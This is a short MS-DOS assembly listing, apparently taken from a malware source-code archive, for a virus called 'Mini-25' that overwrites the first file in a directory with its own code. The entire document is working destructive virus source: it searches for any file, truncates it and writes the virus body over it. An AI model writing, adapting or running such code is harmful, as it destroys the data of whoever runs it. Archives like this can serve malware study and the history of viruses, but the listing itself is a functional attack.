MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ow8.asm
2021-01-12 17:55:26 -06:00

21 lines
426 B
NASM

;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main